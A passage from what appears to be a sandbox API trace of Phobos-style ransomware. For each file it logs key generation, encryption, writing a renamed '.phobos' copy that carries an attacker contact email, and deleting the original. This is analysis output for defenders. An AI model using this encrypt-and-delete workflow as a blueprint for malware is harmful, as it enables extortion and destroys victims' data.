dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.971] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.972] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.973] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.974] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.974] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.974] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.974] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0043.874] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0043.874] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.905] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6004) returned 1 [0043.905] CloseHandle (hObject=0x30c) returned 1 [0043.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0043.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.905] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.905] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.905] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.905] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.905] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10c8e50) returned 1 [0043.905] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.905] ReadFile (in: hFile=0x30c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1774, lpOverlapped=0x0) returned 1 [0043.960] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1780, dwBufLen=0x1780 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1780) returned 1 [0043.960] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1780, lpOverlapped=0x0) returned 1 [0043.961] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10c8e10) returned 1 [0043.961] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.961] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x70, dwBufLen=0x70 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x70) returned 1 [0043.961] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0043.961] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x122, lpOverlapped=0x0) returned 1 [0043.961] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0043.961] CloseHandle (hObject=0x30c) returned 1 [0043.961] CloseHandle (hObject=0x310) returned 1 [0043.962] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0043.963] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0043.963] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.963] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=129) returned 1 [0043.963] CloseHandle (hObject=0x310) returned 1 [0043.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0043.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.963] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.964] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.964] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.964] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.973] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10c8e10) returned 1 [0043.973] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.973] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x81, lpOverlapped=0x0) returned 1 [0043.973] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0043.974] WriteFile (in: hFile=0x30c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x90, lpOverlapped=0x0) returned 1 [0043.974] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10c8e50) returned 1 [0043.974] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.974] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0043.974] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0043.974] WriteFile (in: hFile=0x30c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0043.974] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0043.975] CloseHandle (hObject=0x310) returned 1 [0043.975] CloseHandle (hObject=0x30c) returned 1 [0043.975] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0043.976] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0043.976] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.976] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=129) returned 1 [0043.976] CloseHandle (hObject=0x30c) returned 1 [0043.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0043.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.977] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.977] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.977] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0043.977] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.977] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10c8e10) returned 1 [0043.977] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.977] ReadFile (in: hFile=0x30c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x81, lpOverlapped=0x0) returned 1 [0043.977] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0043.977] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x90, lpOverlapped=0x0) returned 1 [0043.979] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10c8e50) returned 1 [0043.979] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0043.979] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0043.979] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0043.979] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0043.979] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0043.980] CloseHandle (hObject=0x30c) returned 1 [0043.980] CloseHandle (hObject=0x310) returned 1 [0043.980] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0044.136] ResetEvent (hEvent=0x2e8) returned 1 [0044.136] SetEvent (hEvent=0x2ec) returned 1 [0044.137] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.137] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.182] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=74214) returned 1 [0044.182] CloseHandle (hObject=0x30c) returned 1 [0044.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0044.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.186] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.186] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.186] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.186] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.196] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc050) returned 1 [0044.196] CryptSetKeyParam (hKey=0x10dc050, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.196] ReadFile (in: hFile=0x308, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x121e6, lpOverlapped=0x0) returned 1 [0044.285] CryptEncrypt (in: hKey=0x10dc050, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x121f0, dwBufLen=0x121f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x121f0) returned 1 [0044.285] WriteFile (in: hFile=0x324, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x121f0, lpOverlapped=0x0) returned 1 [0044.287] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dbe10) returned 1 [0044.287] CryptSetKeyParam (hKey=0x10dbe10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.287] CryptEncrypt (in: hKey=0x10dbe10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0044.287] CryptDestroyKey (hKey=0x10dbe10) returned 1 [0044.287] WriteFile (in: hFile=0x324, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0044.287] CryptDestroyKey (hKey=0x10dc050) returned 1 [0044.287] CloseHandle (hObject=0x308) returned 1 [0044.287] CloseHandle (hObject=0x324) returned 1 [0044.289] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0044.290] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.290] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.290] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6309) returned 1 [0044.290] CloseHandle (hObject=0x324) returned 1 [0044.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0044.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.291] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.291] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.291] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.291] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.291] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc0d0) returned 1 [0044.291] CryptSetKeyParam (hKey=0x10dc0d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.291] ReadFile (in: hFile=0x324, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x18a5, lpOverlapped=0x0) returned 1 [0044.308] CryptEncrypt (in: hKey=0x10dc0d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x18b0) returned 1 [0044.308] WriteFile (in: hFile=0x308, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x18b0, lpOverlapped=0x0) returned 1 [0044.309] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dbf10) returned 1 [0044.309] CryptSetKeyParam (hKey=0x10dbf10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.309] CryptEncrypt (in: hKey=0x10dbf10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0044.309] CryptDestroyKey (hKey=0x10dbf10) returned 1 [0044.309] WriteFile (in: hFile=0x308, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0044.309] CryptDestroyKey (hKey=0x10dc0d0) returned 1 [0044.309] CloseHandle (hObject=0x324) returned 1 [0044.309] CloseHandle (hObject=0x308) returned 1 [0044.310] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0044.311] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.311] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: 